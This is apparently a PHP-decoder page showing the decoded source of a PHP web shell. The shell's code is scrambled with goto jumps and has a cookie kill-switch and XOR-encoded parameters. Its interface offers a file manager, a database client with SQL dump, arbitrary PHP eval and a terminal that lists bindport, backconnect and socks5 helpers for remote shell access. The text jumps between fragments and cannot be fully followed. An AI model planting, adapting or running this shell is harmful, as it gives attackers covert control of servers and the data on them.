Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(isset($_COOKIE['7f5O'])) { die('qOV33D'); } goto y3G4I; ng60J: ?> <td..

Decoded Output download

<?php 
 
if(isset($_COOKIE['7f5O'])) { 
    die('qOV33D'); 
} 
 goto y3G4I; ng60J: ?> 
<td><a href="#"class="lnkAct">Mrk</a>&nbsp;<a href="#"class="lnkAct">Del</a></td></tr></template><div id="divWndws"><template id="tmplFrmFile"><form class="modal frmFile"onsubmit="saveFile(event)"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"ondblclick="return uiRsz(this.parentNode)"><span class="spnTitle">New File</span><a href="#"class="cntrl"title="Close"onclick="return uiDstrModal(this.parentNode.parentNode)">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz(this.parentNode.parentNode)">&#x2922;</a><a href="#"class="cntrl"title="Reload file"onclick="rldFile(event)">&#x27F3;</a></div><textarea name="t"></textarea><div class="flexRow"><input type="text"required/><select name="c"title="File encoding..."onchange="rldFileAs(event)"><?php  goto hfGfr; lDqlD: function getName($str) { $data = getData($str); if ($data === false) { return false; } return xorStr(hex2ascii($data), true); } goto T7UpU; dvbb8: function sDie($str = '') { if (RO) { die($str); } else { $out = ob_get_contents(); ob_end_clean(); } if (preg_grep("|attachment|", headers_list())) { print gzencode($out . $str, 9); } else { print setValue($out . $str); } die; } goto AuYcb; oY0E0: $GLOBALS["DARK"] = false; goto ujA4J; ukSg0: function setName($str) { $str = ascii2hex(xorStr($str)); $pref = substr($GLOBALS["ENCKEY"], 0, $GLOBALS["PRELEN"]); return $pref . $str; } goto lDqlD; S_uPO: ?> 
); 
  tbdy.appendChild(row); 
 } 
 elmTblFiles.appendChild(tbdy); 
} 
 
function listPaths(data) { 
 var stl = elmTblFiles.style; 
 if (stl.display !== 'none') { 
  stl.display = 'none'; 
  for (var i = elmTblFiles.tBodies.length - 1; i >= 0; --i) elmTblFiles.removeChild(elmTblFiles.tBodies[i]); 
  elmTblFiles.tHead.rows[0].cells[0].firstChild.checked = false; 
 } 
 if ('p' in data) listFiles(data<?php  goto OHSUm; xJtKW: ?> 
"/></label><label class="option"><input type="checkbox"name="n"/> -n &nbsp;No php.ini file will be used</label><label class="option"><input type="checkbox"name="c"/> -C &nbsp;Do not chdir to the script's directory</label></fieldset></form></div><div class="modal"onmousedown="uiActvModal(event)"id="divLog"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Message Log</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divLog')">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('divLog')">&#x2922;</a><a href="#"class="cntrl"title="Clear"onclick="return clnLog()">&#8802;</a></div><div id="divLogCntn"></div></div><div id="divMsgs"class="divCntrls"></div></body> 
<?php  goto tLK80; cyvHX: function decodeInput(&$arr) { $str = ''; foreach ($arr as $k => $v) { $key = getName($k); if (!strlen($key)) { continue; } $str .= $key . "=" . urlencode(getValue($v)) . "&"; unset($arr[$k]); } parse_str($str, $dec); return array_merge($arr, $dec); } goto B0nIU; QoO1P: echo NIX ? "ownrs[file[5]]+'/'+grps[file[6]]" : "''"; goto XoK8_; Vkb_l: if (NIX) { ?> 
frm.e.value = data[2]; 
 frm.e.placeholder = data[2]; 
 frm.o.value = data[3]; 
 frm.o.placeholder = data[3]; 
 frm.r.value = data[4]; 
 frm.r.placeholder = data[4]; 
 <?php  } goto Qhy05; IiLfv: define("NIX", DSC === "/"); goto eAkgp; BJRA0: ?> 
], [fpth]); 
    break; 
   default: 
    if (trgt.textContent === 'Mrk') { 
     row.cells[1].firstChild.classList.toggle('mrkd'); 
     markFiles([fpth]); 
    } else if (trgt.textContent === 'Del') delFiles([fpth]); 
    break; 
  } 
 } 
} 
 
function sqlRestoreState() { 
 var val = sessionStorage.getItem('sqlCnnct'); 
 if (val !== null) { 
  var frm = elmById('frmCnnct'); 
  val = JSON.parse(val); 
  for (var key in val) frm[key].value = val[key]; 
 } 
 strgRstrChck('sqlCntRw', 'cbCR'); 
 strgRstrVal('sqlRPP', elmById('frmPg').r); 
 strgRstrVal('sqlSendAs', 'sqlCSSend'); 
 strgRstrVal('sqlLoadAs', 'sqlCSLoad'); 
} 
 
function sqlSaveState() { 
 var elms = elmById('frmCnnct').elements, 
  val = {}; 
 for (var i = elms.length - 1; i >= 0; --i) 
  if (elms[i].name !== '') val[elms[i].name] = elms[i].value; 
 strgSaveStr('sqlCnnct', JSON.stringify(val)); 
 strgSaveBool('sqlCntRw', 'cbCR'); 
 strgSaveStr('sqlRPP', elmById('frmPg').r.value); 
 strgSaveOpt('sqlSendAs', elmById('sqlCSSend').value); 
 strgSaveOpt('sqlLoadAs', elmById('sqlCSLoad').value); 
} 
 
function sqlAjxSnd(msg, cllbck, data) { 
 var elm = elmById('frmCnnct').elements; 
 if (!data) data = {}; 
 data.a = 's'; 
 for (var i = elm.length - 1; i >= 0; --i) { 
  var n = elm[i].name; 
  if (n !== '' && elm[i].value !== '' && !(n in data)) data[n] = elm[i].value; 
 } 
 var val = elmById('sqlCSLoad').value; 
 if (val !== 0) data.c = val; 
 elm = elmById('sqlCSSend'); 
 data.l = elm.value; 
 return ajxSnd(msg, cllbck, null, data, elm.textValue); 
} 
 
function mkItmRow(name, val, chckd, fncOpn, fncDwn) { 
 var div = newElm('div', { 
  className: 'divItm' 
 }); 
 div.appendChild(newElm('input', { 
  type: 'checkbox', 
  name: name + '[]', 
  value: val, 
  checked: chckd, 
  onchange: onChngCBState 
 })); 
 if (fncOpn) div.appendChild(newElm('a', { 
  href: '#', 
  className: 'cntrl actRe', 
  textContent: '\u27F3', 
  onclick: getStrctr 
 })); 
 if (fncDwn) div.appendChild(newElm('a', { 
  href: '#', 
  className: 'cntrl arwDwn', 
  onclick: fncDwn 
 })); 
 div.appendChild(newElm((fncOpn ? 'a' : 'span'), { 
  href: '#', 
  className: 'aMore', 
  title: val, 
  textContent: val, 
  onclick: fncOpn 
 })); 
 return div; 
} 
 
function cnnct() { 
 var frm = elmById('frmCnnct'); 
 return sqlAjxSnd('Connect to ' + frm.e.textValue + ' server ' + frm.h.value + ' as ' + frm.u.value + ' (' + frm.p.value + ')', onCnnct); 
} 
 
function onCnnct(div, data) { 
 if ('e' in data) return uiChngMsg(div, data.e, 'Err'); 
 elmById('frmSQL').q.value = ''; 
 elmById('divCptn').textContent = ''; 
 elm = elmById('frmPg').style; 
 if (elm.display === 'block') elm.display = 'none'; 
 elm = elmById('tblHead'); 
 if (elm.childNodes.length > 0) elm.removeChild(elm.tHead); 
 elm = elmById('tblData'); 
 if (elm.tBodies.length > 0) elm.removeChild(elm.tBodies[0]); 
 elm = elmById('divSQLWrpLeft'); 
 if (elm.style.display === 'block') { 
  elm.style.display = 'none'; 
  var e = elmById('divSchm'); 
  for (var i = e.childNodes.length - 1; i >= 0; --i) e.removeChild(e.lastChild); 
 } 
 if ('b' in data) { 
  elmById('divSchm').appendChild(mkItmRow('b', data.b, false, opnList)); 
  onGetStrctr(div, data); 
 } else { 
  var frgm = document.createDocumentFragment(); 
  for (var i = 0, c = data.length; i < c; ++i) frgm.appendChild(mkItmRow('b', data[i], false, opnList)); 
  elmById('divSchm').appendChild(frgm); 
 } 
 elm.style.display = 'block'; 
 elm = elmById('frmSQL').style; 
 if (elm.display !== 'flex') elm.display = 'flex'; 
 if (!('b' in data)) uiDelMsg(div); 
} 
 
function opnList() { 
 var prnt = this.parentNode, 
  lst = prnt.lastChild; 
 if (lst.className === 'divLst') lst.style.display = lst.style.display === 'none' ? 'block' : 'none'; 
 else prnt.childNodes[1].onclick(); 
 return false; 
} 
 
function onChngCBState() { 
 var chldTotal = this.getAttribute('chldTotal') | 0, 
  chldChckd = this.getAttribute('chldChckd') | 0, 
  chldIndtrm = -1 * (this.getAttribute('chldIndtrm') | 0), 
  prnt = this.name === 'b[]' ? false : this.parentNode.parentNode.parentNode.firstChild; 
 if (chldIndtrm !== 0 || chldChckd !== chldTotal) { 
  this.setAttribute('chldIndtrm', 0); 
  --chldIndtrm; 
 } 
 this.setAttribute('chldChckd', this.checked ? chldTotal : 0); 
 chldChckd = this.checked ? chldTotal - chldChckd + 1 : -1 * chldChckd - 1; 
 if (chldTotal > 0) { 
  var inps = this.parentNode.lastChild.getElementsByTagName('input'); 
  for (var i = inps.length - 1; i >= 0; --i) 
   if (inps[i].indeterminate || inps[i].checked !== this.checked) { 
    var ttl = inps[i].getAttribute('chldTotal') | 0; 
    if (ttl > 0) { 
     inps[i].setAttribute('chldIndtrm', 0); 
     inps[i].setAttribute('chldChckd', this.checked ? ttl : 0); 
    } 
    inps[i].indeterminate = false; 
    inps[i].checked = this.checked; 
   } 
 } 
 while (prnt) { 
  var crrntTotal = prnt.getAttribute('chldTotal') | 0, 
   crrntChckd = (prnt.getAttribute('chldChckd') | 0) + chldChckd, 
   crrntIndtrm = (prnt.getAttribute('chldIndtrm') | 0) + chldIndtrm; 
  prnt.setAttribute('chldChckd', crrntChckd); 
  prnt.setAttribute('chldIndtrm', crrntIndtrm); 
  if (crrntChckd === crrntTotal) { 
   prnt.checked = true; 
   ++chldChckd; 
   if (prnt.indeterminate) { 
    prnt.indeterminate = false; 
    --chldIndtrm; 
   } 
  } else { 
   if (prnt.checked) { 
    prnt.checked = false; 
    --chldChckd; 
   } 
   if (crrntChckd === 0 && crrntIndtrm === 0) { 
    if (prnt.indeterminate) { 
     prnt.indeterminate = false; 
     --chldIndtrm; 
    } 
   } else if (!prnt.indeterminate) { 
    prnt.indeterminate = true; 
    ++chldIndtrm; 
   } 
  } 
  prnt = prnt.name === 'b[]' ? false : prnt.parentNode.parentNode.parentNode.firstChild; 
 } 
} 
 
function listTables(prnt, data) { 
 var chckd = prnt.parentNode.firstChild.checked, 
  lst = data.t; 
 for (var i = 0, c = lst.length; i < c; ++i) { 
  var row = mkItmRow('t', lst[i][0], chckd, getData, opnList); 
  if (lst[i].length > 1) row.appendChild(newElm('span', { 
   className: 'spnRC', 
   textContent: lst[i][1] 
  })); 
  prnt.appendChild(row); 
 } 
} 
 
function listSchemas(prnt, data) { 
 var chckd = prnt.parentNode.firstChild.checked, 
  lst = data.s; 
 for (i = 0, c = lst.length; i < c; ++i) prnt.appendChild(mkItmRow('s', lst[i], chckd, opnList)); 
} 
 
function getStrctr() { 
 var elm = this, 
  data = {}, 
  name = [], 
  inp; 
 do { 
  elm = elm.parentNode; 
  inp = elm.firstChild; 
  name.push(inp.value); 
  data[inp.name.substr(0, 1)] = inp.value; 
  elm = elm.parentNode; 
 } while (elm.id !== 'divSchm'); 
 if (elmById('cbCR').checked) data.r = ''; 
 return sqlAjxSnd('Get structure of ' + name.reverse().join('.'), onGetStrctr, data); 
} 
 
function srchItm(elm, name, value) { 
 var chlds = elm.childNodes; 
 for (var i = 0, c = chlds.length; i < c; ++i) { 
  var inp = chlds[i].firstChild; 
  if (inp.name === name && inp.value === value) return chlds[i]; 
 } 
 return false; 
} 
 
function onGetStrctr(div, data) { 
 if ('e' in data) return uiChngMsg(div, data.e, 'Err'); 
 var cnt; 
 if ('f' in data) cnt = data.f.length; 
 else if ('t' in data) cnt = data.t.length; 
 else cnt = data.s.length; 
 if (cnt === 0) { 
  var t = 'Database', 
   v = [data.b]; 
  if (('s' in data) && ('t' in data)) { 
   t = 'Schema'; 
   v.push(data.s); 
  } 
  if ('f' in data) { 
   t = 'Table'; 
   v.push(data.t); 
  } 
  return uiChngMsg(div, t + ' ' + v.join('.') + ' is empty', 'Inf'); 
 } 
 var prnt = srchItm(elmById('divSchm'), 'b[]', data.b); 
 if (!prnt) return; 
 if (('t' in data) && ('s' in data)) { 
  if (prnt.lastChild.className !== 'divLst') return; 
  prnt = srchItm(prnt.lastChild, 's[]', data.s); 
  if (!prnt) return; 
 } 
 if ('f' in data) { 
  if (prnt.lastChild.className !== 'divLst') return; 
  prnt = srchItm(prnt.lastChild, 't[]', data.t); 
  if (!prnt) return; 
 } 
 if (prnt.lastChild.className === 'divLst') prnt.removeChild(prnt.lastChild); 
 var i = prnt.firstChild; 
 i.setAttribute('chldTotal', cnt); 
 i.setAttribute('chldChckd', i.checked ? cnt : 0); 
 i.setAttribute('chldIndtrm', 0); 
 prnt.appendChild(newElm('div', { 
  className: 'divLst' 
 })); 
 prnt = prnt.lastChild; 
 if ('f' in data) listFields(prnt, data); 
 else if ('t' in data) listTables(prnt, data); 
 else listSchemas(prnt, data); 
 uiDelMsg(div); 
} 
 
function listFields(prnt, data) { 
 var chckd = prnt.parentNode.firstChild.checked, 
  lst = data.f; 
 for (i = 0, c = lst.length; i < c; ++i) { 
  var row = mkItmRow('f', lst[i][0], chckd), 
   type = data.y[lst[i][1]]; 
  if (type !== '') { 
   var div = newElm('div', { 
    className: 'divFldTp' 
   }); 
   div.appendChild(newElm('span', { 
    className: 'aMore', 
    textContent: type 
   })); 
   row.appendChild(div); 
  } 
  prnt.appendChild(row); 
 } 
} 
 
function getData() { 
 var elm = this.parentNode, 
  data = { 
   t: elm.firstChild.value, 
   f: [], 
   o: 0, 
   r: elmById('frmPg').r.value 
  }; 
 elm = elm.parentNode.parentNode; 
 if (elm.firstChild.name === 's[]') { 
  data.s = elm.firstChild.value; 
  data.b = elm.parentNode.parentNode.firstChild.value; 
 } else data.b = elm.firstChild.value; 
 elm = this.parentNode; 
 if (elm.lastChild.className === 'divLst') { 
  elm = elm.lastChild.childNodes; 
  for (var i = elm.length - 1; i >= 0; --i) 
   if (elm[i].firstChild.checked) data.f.unshift(elm[i].firstChild.value); 
 } 
 if (data.f.length === 0) data.f = ''; 
 return sqlAjxSnd('Load data from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t, onGetData, data); 
} 
 
function listData(caption, data) { 
 var tblHead = elmById('tblHead'), 
  tblData = elmById('tblData'), 
  cln = data.f.length; 
 if (tblData.tBodies.length > 0) tblData.removeChild(tblData.tBodies[0]); 
 elmById('divCptn').textContent = caption; 
 if (tblHead.childNodes.length > 0) tblHead.removeChild(tblHead.tHead); 
 var thead = document.createElement('thead'), 
  elm = thead.insertRow(0); 
 for (var i = 0; i < cln; ++i) elm.insertCell(-1).textContent = data.f[i]; 
 tblHead.appendChild(thead); 
 data = data.r; 
 elm = document.createElement('tbody'); 
 for (var i = 0, c = data.length; i < c; ++i) { 
  var tr = elm.insertRow(-1); 
  for (var j = 0; j < cln; ++j) tr.insertCell(-1).textContent = data[i][j]; 
 } 
 tblData.appendChild(elm); 
 elm = tblHead.tHead.rows[0].cells; 
 data = tblData.tBodies[0].rows[0].cells; 
 for (var i = 0; i < cln; ++i) { 
  var tr = (elm[i].offsetWidth > data[i].offsetWidth ? elm[i].offsetWidth : data[i].offsetWidth) + 'px'; 
  elm[i].style.minWidth = tr; 
  elm[i].style.width = tr; 
  data[i].style.minWidth = tr; 
  data[i].style.width = tr; 
 } 
} 
 
function onGetData(div, data) { 
 if ('e' in data) return uiChngMsg(div, data.e, 'Err'); 
 if (data.f.length === 0) { 
  var v = data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t; 
  return uiChngMsg(div, data.o > 0 ? 'No more data in table ' + v : 'Table ' + v + ' is empty', 'Inf'); 
 } 
 var isNotPgnbl = !('o' in data); 
 listData((isNotPgnbl ? 'Top ' + data.r.length + ' rows' : 'Rows ' + data.o + '-' + (data.o + data.r.length - 1)) + ' from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t, data); 
 var frmPg = elmById('frmPg'); 
 frmPg.b.value = data.b; 
 frmPg.s.value = ('s' in data) ? data.s : ''; 
 frmPg.t.value = data.t; 
 frmPg.o.value = 0; 
 frmPg.o.disabled = isNotPgnbl; 
 frmPg.elements[3].disabled = isNotPgnbl; 
 frmPg.elements[5].disabled = isNotPgnbl; 
 if (frmPg.style.display !== 'block') frmPg.style.display = 'block'; 
 uiDelMsg(div); 
} 
 
function chngPg(v) { 
 var elms = elmById('frmPg'), 
  chlds = [], 
  val = (elms.o.value | 0) + v * (elms.r.value | 0), 
  data = { 
   b: elms.b.value, 
   t: elms.t.value, 
   o: val > 0 ? val : 0, 
   r: elms.r.value | 0, 
   f: [] 
  }; 
 if (elms.s.value !== '') data.s = elms.s.value; 
 var prnt = srchItm(elmById('divSchm'), 'b[]', data.b); 
 if (prnt && prnt.lastChild.className === 'divLst') { 
  if ('s' in data) prnt = srchItm(prnt.lastChild, 's[]', data.s); 
  if (prnt && prnt.lastChild.className === 'divLst') { 
   prnt = srchItm(prnt.lastChild, 't[]', data.t); 
   if (prnt && prnt.lastChild.className === 'divLst') { 
    var chlds = prnt.lastChild.childNodes; 
    for (var i = 0, c = chlds.length; i < c; ++i) 
     if (chlds[i].firstChild.checked) data.f.push(chlds[i].firstChild.value); 
   } 
  } 
 } 
 if (data.f.length === 0) data.f = ''; 
 return sqlAjxSnd('Load data from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t + ' (' + data.o + '-' + (data.o + data.r) + ')', onGetData, data); 
} 
 
function query() { 
 var v = elmById('frmSQL').q.value; 
 return v === '' ? false : sqlAjxSnd(v, onQuery, { 
  q: v 
 }); 
} 
 
function onQuery(div, data) { 
 if ('e' in data) return uiChngMsg(div, data.e, 'Err'); 
 if (data.f.length === 0) return uiChngMsg(div, 'Query successfully completed (' + data.q + ')', 'Inf'); 
 elmById('frmPg').style.display = 'none'; 
 listData(data.q, data); 
 uiDelMsg(div); 
} 
 
function getDumpList(data, elms, prfx) { 
 var n = 0, 
  indx = elms[0].firstChild.name.slice(0, 1) + '[' + prfx + ']'; 
 data[indx] = []; 
 for (var i = 0, c = elms.length; i < c; ++i) { 
  if (elms[i].firstChild.checked) data[indx][n++] = elms[i].firstChild.value; 
  else if (elms[i].firstChild.indeterminate) { 
   data[indx].push(elms[i].firstChild.value); 
   getDumpList(data, elms[i].lastChild.childNodes, prfx + '-' + n); 
   n++; 
  } 
 } 
} 
 
function dump() { 
 var data = { 
   d: [], 
   o: elmById('slctDmpFrmt').value 
  }, 
  elms = elmById('divSchm').childNodes, 
  n = 0; 
 for (var i = 0, c = elms.length; i < c; ++i) { 
  if (elms[i].firstChild.checked) data.d[n++] = elms[i].firstChild.value; 
  else if (elms[i].firstChild.indeterminate) { 
   data.d.push(elms[i].firstChild.value); 
   getDumpList(data, elms[i].lastChild.childNodes, n++); 
  } 
 } 
 if (n) sqlAjxSnd('Download SQL dump (close this message after start download)', onDump, data); 
} 
 
function onDump(div, data) { 
 uiChngMsg(div, data.e, 'Err'); 
} 
 
function onPHPKeyDwn(e) { 
 if (e.ctrlKey && e.keyCode === 13) return evl(); 
} 
 
function onPHPResKeyDwn(e) { 
 if (e.ctrlKey && e.keyCode === 65) { 
  uiSlctTxt('prePHP'); 
  e.preventDefault(); 
 } 
} 
 
function uiChngCmps() { 
 var lbl = elmById('aCmps'), 
  frm = elmById('divPHP').style; 
 if (lbl.className === 'cmpsRow') { 
  lbl.className = 'cmpsCol'; 
  frm.flexDirection = 'column'; 
 } else { 
  lbl.className = 'cmpsRow'; 
  frm.flexDirection = 'row'; 
 } 
 return false; 
} 
 
function evl() { 
 var frm = elmById('frmPHP'); 
 if (frm.e.value === '') elmById('prePHP').innerHTML = ''; 
 else ajxSnd('Eval PHP code', onEvl, frm, { 
  a: 'p' 
 }, elmById('slctPHPCS').value); 
 return false; 
} 
 
function onEvl(div, data) { 
 var elm = elmById('prePHP'), 
  chr = data.slice(-1); 
 if ('createShadowRoot' in elm) { 
  if (elm.shadowRoot === null) elm.createShadowRoot(); 
  elm = elm.shadowRoot; 
 } 
 if (chr === "\x06" && elmById('cbClnInp').checked) elmById('txtPHP').value = ''; 
 if (elmById('cbClnOut').checked) elm.innerHTML = ''; 
 if (chr === "\x15" && data.slice(0, -3) === '' && !elmById('frmPHP').h.checked) data = '\nFatal error: You have syntax error in PHP code\n'; 
 else data = data.slice(0, -3); 
 if (elmById('cbHTML').checked) { 
  var divRst = document.createElement('iframe'); 
  divRst.style = 'all:initial;isolation:isolate;width:100%;height:100%;'; 
  divRst.srcdoc = data; 
  elm.appendChild(divRst); 
 } else elm.appendChild(document.createTextNode(data)); 
 uiDelMsg(div); 
} 
 
function phpSaveState() { 
 strgSaveBool('phpChngCmps', elmById('aCmps').className === 'cmpsCol'); 
 strgSaveBool('phpClnInp', 'cbClnInp'); 
 strgSaveBool('phpClnOut', 'cbClnOut'); 
 strgSaveBool('phpHTML', 'cbHTML'); 
 var frm = elmById('frmPHP'); 
 strgSaveBool('phpSilent', frm.h.checked); 
 strgSaveOpt('phpSendAs', elmById('slctPHPCS').value); 
 strgSaveOpt('phpLoadAs', frm.c.value); 
} 
 
function phpRestoreState() { 
 if (sessionStorage.getItem('phpChngCmps')) uiChngCmps(); 
 strgRstrChck('phpClnInp', 'cbClnInp'); 
 strgRstrChck('phpClnOut', 'cbClnOut'); 
 strgRstrChck('phpHTML', 'cbHTML'); 
 var frm = elmById('frmPHP'); 
 strgRstrChck('phpSilent', frm.h); 
 strgRstrVal('phpSendAs', 'slctPHPCS'); 
 strgRstrVal('phpLoadAs', frm.c); 
} 
var trmHist = strgRstrArr('trmHist'), 
 trmIndx = trmHist.length; 
 
function onTrmClick(e) { 
 if (e.target === elmById('divTrm')) elmById('inpTrm').focus(); 
} 
 
function onTrmResKeyDwn(e) { 
 if (e.ctrlKey && e.keyCode === 65) { 
  uiSlctTxt('preTrm'); 
  e.preventDefault(); 
 } 
} 
 
function onTrmInpKeyDwn(e) { 
 var frm = elmById('frmTrm'), 
  inp = frm.e; 
 if (e.keyCode === 38) { 
  if (trmIndx > 0) inp.value = trmHist[--trmIndx]; 
 } else if (e.keyCode === 40) { 
  var val = trmHist.length; 
  if (trmIndx < val - 1) inp.value = trmHist[++trmIndx]; 
  else { 
   inp.value = ''; 
   if (trmIndx < val) ++trmIndx; 
  } 
 } else if (e.ctrlKey && e.keyCode === 76) elmById('preTrm').textContent = ''; 
 else if (e.keyCode === 13) exec(); 
 else return; 
 e.preventDefault(); 
} 
 
function prntMsg(msg) { 
 if(elmById('cbIT').checked) 
    elmById('preTrm').textContent = elmById('spnUsrHst').textContent + ':' + elmById('spnPth').textContent + '$ ' + msg + '\n' + elmById('preTrm').textContent; 
 else{ 
    elmById('preTrm').textContent += elmById('spnUsrHst').textContent + ':' + elmById('spnPth').textContent + '$ ' + msg + '\n'; 
    var trm = elmById('divTrm'); 
    trm.scrollTop = trm.scrollHeight; 
 } 
 return false; 
} 
 
function exec() { 
 var frm = elmById('frmTrm'), 
  cmd = frm.e.value.trim(), 
  val = cmd.match(/!(!|(?:-?[0-9]+))/); 
 if (val !== null) { 
  val = val[1] | 0; 
  if (val >= 0) --val; 
  cmd = trmHist[val < 0 ? trmHist.length + val : val]; 
  frm.e.value = cmd; 
 } 
 if (trmHist.slice(-1)[0] !== cmd) trmHist.push(cmd); 
 trmIndx = trmHist.length; 
 if (cmd === '?') { 
  val = '  For more information run command without params.\n\n'; 
  prntMsg('?\n\n' + 'cls, clear\n' + '  Clear terminal window.\n' + '  * You can clear terminal window pressing Ctrl+L\n\n' + 'history\n' + '       Show all comands.\n' + '  n    Show last n commands.\n' + '  !!   Execute last command.\n' + '  !n   Execute command number n. If value negative then counting starts at end.\n' + '  * You can navigate through history using UP and DOWN keys.\n\n' + 'report\n' + '  Create server information report.\n' + '  For more information run command with question param.\n\n' + 'socks5.perl\n' + '  Run Socks5 server using Perl.\n' + val + 'bindport.perl\n' + '  Open port and provide shell access for connected client using Perl.\n' + val + 'backconnect.perl\n' + '  Connect to client and provide shell access for him using Perl.\n' + val + 'socks5.python\n' + '  Run Socks5 server using Python.\n' + val + 'bindport.python\n' + '  Open port and provide shell access for connected client using Python.\n' + val + 'backconnect.python\n' + '  Connect to client and provide shell access for him using Python.\n' + val); 
 } else if (cmd === 'cls' || cmd === 'clear') elmById('preTrm').textContent = ''; 
 else { 
  val = cmd.match(/history ?([0-9]*)/i); 
  if (val !== null) { 
   val = val[1] | 0; 
   var s = cmd + '\n'; 
   for (var c = trmHist.length, i = (val > 0 && c > val) ? c - val : 0; i < c; ++i) s += '\t' + (i + 1) + '\t' + trmHist[i] + '\n'; 
   prntMsg(s); 
  } else { 
   val = cmd.split(' ', 4); 
   var usg = cmd + '\n' + 'Usage:\n  ' + val[0], 
    opt = ' <port> [options]\nOptions (option value can\'t contain whitespace):\n  -i <file>  Use interpreter <file>. Default: ', 
    perl = '<?php  goto mM3Md; jNku3: ?> 
"><button type="button"onclick="dwnFiles(getSlctdFiles())">Download</button><button type="button"onclick="prpsSlctdFiles()">Properties</button><button type="button"onclick="markSlctdFiles()">Mark</button><button type="button"onclick="delFiles(getSlctdFiles())">Delete</button></th></tr></tfoot></table></form></div><template id="tmplFilesTBody"><tbody><tr><th colspan="<?php  goto wjnY5; fTz9c: ?> 
); 
 if ('e' in data) { 
  var errs = ["can't move file to current dir", 'file size exceeds the upload_max_filesize directive', 'file size exceeds the max_file_size property', 'file only partially uploaded', 'file not uploaded', 'Who Do You Voodoo, Bitch?', 'missing a temporary folder', 'failed to write to disk', 'some PHP extension stopped the upload'], 
   cnt = data.e.length, 
   sep = cnt === 1 ? ' ' : '\n', 
   msg = "Can't save uploaded file"; 
  if (cnt > 1) msg += 's:'; 
  for (var i = 0; i < cnt; ++i) msg += sep + data.e[i].slice(1) + ' (' + errs[data.e[i].slice(0, 1)] + ')'; 
  uiChngMsg(div, msg, 'Err'); 
 } else uiDelMsg(div); 
} 
 
function uplFiles() { 
 var inp = elmById('inpUpl'), 
  fls = inp.files, 
  len = fls.length; 
 fmAjxSnd('Upload ' + (len > 1 ? len + ' files' : fls[0].name), onUplFiles, { 
  p: elmPth.placeholder 
 }, inp.form); 
} 
 
function onMkFile(div, data) { 
 if ('e' in data) return uiChngMsg(div, "Can't c" + div.childNodes[1].nodeValue.slice(1, -1) + data.e, 'Err'); 
 updTblFile(data); 
 uiDelMsg(div); 
} 
 
function mkLnk(e) { 
 e.preventDefault(); 
 e.stopPropagation(); 
 var frm = elmById('frmLnk'), 
  lnk = canonPath(frm.elements[1].value, elmPth.placeholder); 
 fmAjxSnd('Create ' + frm.t.textValue.toLowerCase() + ' link ' + lnk + ' to ' + frm.p.value, onMkFile, { 
  l: lnk 
 }, frm); 
 uiClsModal(frm); 
} 
 
function uiShwFrmLnk(p) { 
 var frm = elmById('frmLnk'); 
 frm.p.value = p; 
 frm.elements[1].value = p; 
 frm.t.selectedIndex = 0; 
 uiShwModal(frm); 
} 
 
function mkDir(bp) { 
 var fp = prompt('Create Directory', bp); 
 if (fp !== null) { 
  fp = canonPath(fp, bp); 
  fmAjxSnd('Create directory ' + fp, onMkFile, { 
   m: fp 
  }); 
 } 
} 
 
function onCrtMenuClick(e) { 
 var trgt = e.target; 
 if (trgt.tagName !== 'A') return; 
 e.preventDefault(); 
 e.stopPropagation(); 
 trgt.blur(); 
 var bpth = elmPth.placeholder; 
 switch (trgt.textContent) { 
  case 'File': 
   uiShwFrmFile([bpth, null], '', elmById('fmCSSend').value); 
   break; 
  case 'Link': 
   uiShwFrmLnk(bpth); 
   break; 
  case 'Directory': 
   mkDir(bpth); 
   break; 
 } 
} 
 
function uiUnmrkTblFiles(files) { 
 var as = elmTblFiles.getElementsByClassName('mrkd'); 
 for (var i = as.length - 1; i >= 0; --i) { 
  var n = files.indexOf(as[i].parentNode.parentNode.cells[0].firstChild.value); 
  if (n > -1) { 
   as[i].classList.remove('mrkd'); 
   files.splice(n, 1); 
   if (files.length === 0) break; 
  } 
 } 
} 
 
function unmarkFiles() { 
 var tbdy = elmById('tblBuffer').tBodies[0], 
  inps = elmById('frmBuffer')['f[]'], 
  files = []; 
 if (!inps.length) inps = [inps]; 
 for (var i = inps.length - 1; i >= 0; --i) 
  if (inps[i].checked) { 
   files.push(fmBuffer.splice(i, 1)[0]); 
   tbdy.removeChild(inps[i].parentNode.parentNode); 
  } if (files.length > 0) { 
  uiUnmrkTblFiles(files); 
  updBufferState(); 
 } 
} 
 
function onTblBufferClick(e) { 
 var trgt = e.target; 
 if (trgt.tagName !== 'A') return; 
 e.preventDefault(); 
 e.stopPropagation(); 
 var row = trgt.parentNode.parentNode, 
  fpth = row.cells[0].firstChild.value; 
 switch (trgt.parentNode.cellIndex) { 
  case 1: 
   goTo(fpth); 
   break; 
  case 2: 
   fmBuffer.splice(row.rowIndex - 1, 1); 
   row.parentNode.removeChild(row); 
   uiUnmrkTblFiles([fpth]); 
   updBufferState(); 
   break; 
 } 
} 
 
function uiShwFrmBuffer() { 
 var frm = elmById('frmBuffer'); 
 if (frm.style.visibility === 'visible') return; 
 var tbl = elmById('tblBuffer'), 
  tbdy = document.createElement('tbody'), 
  elmTmplBufferRow = elmById('tmplBufferRow').content.firstChild; 
 frm.elements[0].checked = false; 
 if (tbl.tBodies.length > 0) tbl.removeChild(tbl.tBodies[0]); 
 fmBuffer.sort(); 
 for (var i = 0, c = fmBuffer.length; i < c; ++i) { 
  var row = elmTmplBufferRow.cloneNode(true); 
  row.cells[0].firstChild.value = fmBuffer[i]; 
  row.cells[1].firstChild.textContent = fmBuffer[i]; 
  tbdy.appendChild(row); 
 } 
 tbl.appendChild(tbdy); 
 uiShwModal(frm); 
} 
 
function getName(f) { 
 return f[0]; 
} 
 
function onFlshBuffer(div, data) { 
 var files = ('c' in data) ? data.c : []; 
 if ('m' in data) 
  for (var i = data.m.length - 1; i >= 0; --i) { 
   rmFiles({ 
    p: data.m[i].p, 
    f: data.m[i].f.map(getName) 
   }); 
   files = files.concat(data.m[i].f); 
  } 
 updTblFiles({ 
   p: data.p, 
   f: files 
  } 
